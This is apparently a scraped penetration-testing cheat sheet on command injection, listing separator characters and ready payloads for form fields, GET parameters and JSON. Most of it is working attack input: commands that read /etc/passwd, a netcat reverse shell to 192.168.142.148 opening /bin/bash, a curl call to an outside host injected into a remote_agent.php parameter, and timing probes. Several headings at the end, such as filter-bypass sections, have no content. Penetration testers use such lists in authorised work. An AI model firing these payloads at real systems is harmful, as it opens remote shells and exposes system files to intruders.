Command Injection
Manual Testing
;
|
&&For example
# You should encode them when sending
something|id|ifconfig
something;id;ifconfig
something&id&ifconfig
www.c.gov; cat /etc/passwd
www.c.gov; nc 192.168.142.148 8000 -e /bin/bash
# POST
email=test@test.com;sleep+20&subject=test&message=test
email=test@test.com;ping -c 5 10.10.14.4&subject=test&message=test
# GET
GET/remote_agent.php?
action=polldata&poller_id=;curl+http://10.10.14.39&host_id=1&local_data_ids[]=6HTTP/1.1
# Json format
{"username":"test;id;"}
# These are special characters that might be blocked already
( ) [ ] { } " , ' ` ; # | \ &Payloads to execute both commands
Some Linux specifc payloads
For example
Basic filtering bypass
Other interesting filtering bypass
Last updated